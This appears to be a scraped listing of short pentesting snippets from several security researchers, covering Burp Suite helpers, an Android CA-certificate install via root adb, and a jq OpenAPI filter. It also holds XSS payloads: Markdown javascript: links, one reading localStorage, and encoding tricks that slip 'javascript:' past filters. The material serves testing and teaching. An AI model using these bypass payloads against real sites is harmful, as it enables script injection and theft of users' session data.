irsdl

// Revision 1 - originally developed by chatGPT for @irsdl
// Revision 2 - improved by ChatGPT to be more efficient using Burp APIs!
// Automatically updates the Cookie header in Burp Repeater requests using Set-Cookie values from responses. This Bambda CustomAction preserves all existing cookies and only updates or adds values when necessary — ensuring session continuity without overwriting unrelated cookies.

// 1. Grab the request & response
var request  = requestResponse.request();
var response = requestResponse.response();

// 2. Pull any Set-Cookie cookies from the response
var responseCookies = response.cookies();

tamzidr

Links:

[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')

Images:

abbycantcode

#! /usr/bin/python3

import http.server
import sys
import random
import string
import argparse
import socket
import logging
import signal

0xdevalias

Deobfuscating / Unminifying Obfuscated Web App / JavaScript Code

Table of Contents

• tl;dr: AKA: devalias's shortlist
• PoC
• Benchmarks / Leaderboards / etc
  • JsDeObsBench
• Tools

DanaEpp

.paths | to_entries | map(select(.key | test("^x-") | not)) | map ( .key as $path | .value | to_entries | map( select( .key | IN("get", "put", "post", "delete", "options", "head", "patch", "trace")) | { method: .key, path: $path, summary: .value.summary?, deprecated: .value.deprecated?  })[] ) | map( .method + "\t" + .path + "\t" + .summary + (if .deprecated then " (deprecated)" else "" end)) []

abbycantcode

{
    "proxy":{
        "ssl_pass_through":{
            "automatically_add_entries_on_client_ssl_negotiation_failure":false,
            "rules":[
                {
                    "enabled":true,
                    "host":".*\\.google\\.com",
                    "protocol":"any"
                },

interference-security

openssl x509 -inform DER -in cacert.der -out cacert.pem
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
mv cacert.pem <hash>.0  
adb push <hash>.0 /sdcard/Download/
adb shell
su
mkdir -m 700 /sdcard/cert/
cp /system/etc/security/cacerts/* /sdcard/cert/
mount -t tmpfs tmpfs /system/etc/security/cacerts

thevillagehacker

Android Pentesting

Android Pentesting Sources from Hacking articles

• https://www.hackingarticles.in/android-penetration-testing-apk-reverse-engineering/
• https://www.hackingarticles.in/android-penetration-testing-apk-reversing-part-2/
• https://www.hackingarticles.in/android-pentest-deep-link-exploitation/
• https://www.hackingarticles.in/android-penetration-testing-webview-attacks/
• https://www.hackingarticles.in/android-penetration-testing-frida/
• https://www.hackingarticles.in/android-pentest-lab-setup-adb-command-cheatsheet/
• https://www.hackingarticles.in/android-hooking-and-sslpinning-using-objection-framework/
• https://www.hackingarticles.in/android-penetration-testing-drozer/

hackerscrolls

<a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)">

[1]
Bytes: 
\x09 \x0a \x0c \x0d \x20 \x2f

<a/href="javascript:alert(1)">
<a\x09href="javascript:alert(1)">

[2,3]

hackerscrolls

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)